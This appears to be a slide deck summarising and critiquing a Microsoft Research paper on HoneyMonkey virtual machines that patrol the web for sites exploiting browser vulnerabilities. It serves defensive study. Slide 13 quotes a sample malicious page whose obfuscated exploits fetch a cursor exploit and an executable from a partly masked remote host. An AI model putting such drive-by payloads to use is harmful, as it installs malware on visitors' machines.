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Automated Web Patrol with Strider Honey Monkeys: Finding Web Sites That Exploit Browser

Automated Web Patrol with Strider Honey Monkeys: Finding Web Sites That Exploit Browser Vulnerabilities. AUTHORS: Yi-Min Wang, Doug Beck, Xuxian Jiang, Roussi Roussev, Chad Verbowski, Shuo Chen, and Sam King PUBLISHED IN: MICROSOFT RESEARCH ,Redmond. PROPOSED PROBLEM.

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Automated Web Patrol with Strider Honey Monkeys: Finding Web Sites That Exploit Browser

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  1. Automated Web Patrol with Strider Honey Monkeys: Finding Web Sites That Exploit Browser Vulnerabilities AUTHORS: Yi-Min Wang, Doug Beck, Xuxian Jiang, Roussi Roussev, Chad Verbowski, Shuo Chen, and Sam King PUBLISHED IN: MICROSOFT RESEARCH ,Redmond

  2. PROPOSED PROBLEM • EMERGING ATTACK : INTERNET • ATTACKS BY MALICIOUS WEBSITE • EXPLOIT BROWSER VULNERABILITIES • INSTALL MALICIOUS CONTENTS • USE OF HONEYMONKEYS FOR SOLUTION

  3. BROWSER BASED VULNERABILITY Code Obfuscation URL redirection Vulnerability exploitation Malware installation

  4. CODE OBFUSCATION

  5. CODE OBFUSCATION • To escape from signature based scanning • Custom decoding routine included inside the script • Unreadable long strings that are encoded and decoded later by the script or by the browser

  6. ENCODED MALICIOUS CODE

  7. DECODED MALICIOUS CODE

  8. URL REDIRECTION

  9. URL REDIRECTION • PRIMARY URL TO SECONDARY URL • PROTOCOL REDIRECTION USING HTTP 302 TEMPORARY REDIRECT • HTML TAGS • Script functions including window.location.replace().

  10. URL REDIRECTION http://[IP address] /[8 chars]/test2/iejp.htm http://[IP address] PRIMARY SECONDARY USER

  11. VULNERABILITY EXPLOITATION

  12. VULNERABILITY EXPLOITATION • Malicious Website attempt to exploit multiple vulnerabilities • HTML fragment – multiple files from different URL’S • Dynamic code injection using Document.write • Trojan downloader works after exploits • Most attacked browser is IE

  13. EXAMPLE FOR VULNERABILITY <html><head><title></title></head><body> <style> * {CURSOR: url("http://vxxxxxxe.biz/adverts/033/sploit.anr")} </style> <APPLET ARCHIVE='count.jar' CODE='BlackBox.class' WIDTH=1 HEIGHT=1> <PARAM NAME='url' VALUE='http://vxxxxxxe.biz/adverts/033/win32.exe'></APPLET> <script> Try{ document.write('<object data=`&#109&#115&#45&#105&#116&#115&#58&#109&#104&#116&#109&#108&#58&#102&#105&#108&#101&#58;// C:\fo'+'o.mht!'+'http://vxxxx'+'xxe.biz//adv'+'erts//033//targ.ch'+'m::/targ'+'et.htm` type=`text/x-scriptlet`></ob'+'ject>'); }catch(e){} </script> </body></html> Exploit 1 Exploit 2 Exploit 3

  14. Honey Monkey Exploit Detection System • Active client side virtual machines called honeypots • Large scale, systematic and automated web patrol • It mimics human browsing • Different patches and different levels of vulnerability

  15. HONEYMONKEY SYSTEM • Stage 1 – scalable mode by visiting N-URLs. • Stage 2 – perform recursive redirected analysis. • Stage 3 – scan exploit URLs using fully patched VMs.

  16. HONEY MONKEY SYSTEM

  17. TOPOLOGY GRAPH AND NODE RANKING • Rectangular nodes represent Exploit URL’s • Arrows represent traffic redirection • Circles represent nodes that act as an aggregation point for exploit pages hosted • R is the most likely exploit provider

  18. TOPOLOGY GRAPH AND NODE RANKING

  19. GENERATING URL LISTS • Generating URL LISTS - Suspicious URL’s - Popular websites – if attacked potentially attack larger population - Localized space websites

  20. Exploit Detection Report • Executable files created or modified outside the browser sandbox folders • Processes created • Windows registry entry created or modified • Vulnerability exploited • Redirect URL visited

  21. Patch level statistics

  22. RESULTS

  23. ADVANTAGES • Automatic • Scalable • Non-signature based approach • Stage-wise detection

  24. DISADVANTGES • Exploiters may randomize the attack confusing the honey monkeys • Exploiters were able to detect honey monkeys by sending dialog box • They didn’t explain about topology graphs very clearly

  25. IMPROVEMENTS • They need to work on accuracy • They need more classification according • to contents • They should improve on avoiding • detection by the honey monkeys

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